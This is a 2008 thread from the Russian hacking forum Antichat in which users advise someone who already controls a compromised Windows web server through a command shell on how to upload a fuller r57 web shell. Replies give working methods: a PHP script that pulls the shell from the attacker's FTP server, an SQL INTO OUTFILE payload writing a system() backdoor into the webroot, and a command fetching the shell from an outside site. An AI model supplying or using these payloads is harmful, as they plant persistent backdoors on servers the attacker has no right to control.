Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Способы заливки файлов (https://forum.antichat.xyz/showthread.php?t=79105)

UpsPig 30.07.2008 22:42

Способы заливки файлов
 
Есть shell.php?cmd= .
Хотел залить более менее удобный шелл типа r57.
Всё что пришло в голову:
1)Заливка через FTP с поднятием на своём компе сервера, но не смог пока разобраться с авторизацией в slimftpd.
2)Расшарить папку
3)И пробовал записать построчно через echo (добавляются слэши перед кавычками в итоге скрипт не пашет)
Может кто нибудь предложить другие способы?

n0ne 30.07.2008 23:33

wget, curl, fetch

UpsPig 31.07.2008 00:02

Сорри не уточнил.Дело происходит в винде

n0ne 31.07.2008 00:23

Если есть возможность выполнить пхп - через fopen(), да и многими другими функциями можно. Я так понял - шелл ты сам залил? Раз залил шелл - залей инклюд или тот же fopen() -> fwrite()

з.ы. вот ещё почитай про работу с фтп через командную строку - ttp://www.winblog.ru/net/1147765001-08020803.html

UpsPig 31.07.2008 15:53

инклюд нельзя (
Можно про fopen() и fwrite() поподробнее?
Я пхп совсем не знаю ((

n0ne 31.07.2008 17:05

Попробуй через фтп вот так -

Код:

<?

// замени данные на свои
$host = "ftp.твой_фтп.ru"; // адрес твоего фтп
$port = 21; // порт, по дефолту он 21
$user = "login"; // логин
$passwrod = "password"; // пароль
$local_file = "/ftp/shell.php"; // файл на твоем фтп
$remote_file = "shell.php"; // файл на удаленной тачке
// дальше не трогай :)

$connect = ftp_connect($host, $port);
$done = ftp_login($connect, $user, $password);

if($done)
  {
ftp_get($connect, $local_file, $remote_file, ftp_binary);
  }
else
{
die();
}

?>

И не поленись прочесть вот это - ttp://www.winblog.ru/net/1147765001-08020803.html

heks 31.07.2008 17:13

если есть какая либо база на сайте попробуй приконнектиться к ней с удаленного шела и уже через базу залить шел

CREATE TABLE temptab1(
codetab TEXT
) TYPE=MYISaM;

INSERT INTO temptab1(codetab)
VALUES(
'<pre><body bgcolor=silver><? @system($_REQUEST["v"]); ?></body></pre>'
);


into dumpfile
select * into outfile '/Library/WebServer/Documents/123.php' from temptab1; flush logs;
думаю разберешься что куда ставить

apollо 31.07.2008 17:44

Попробуй так:

shell.php?cmd=get http://site/r57.txt > C:\путь_до_www\r57.php

(по дефолту в C:\AppServ\www\)

"http://site/r57.txt " - сайт на котором лежит исходник шела в txt формате... (если будет в php формате многие выражения понерфяться, что соответственно приведёт к неработоспособности шела, поэтому используй изначально txt)

UpsPig 31.07.2008 19:23

apollо
"get" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
Я тоже об этом думал

UpsPig 31.07.2008 19:24

heks
К сожалению нет.
bind-adress 127.0.0.1


Время: 02:10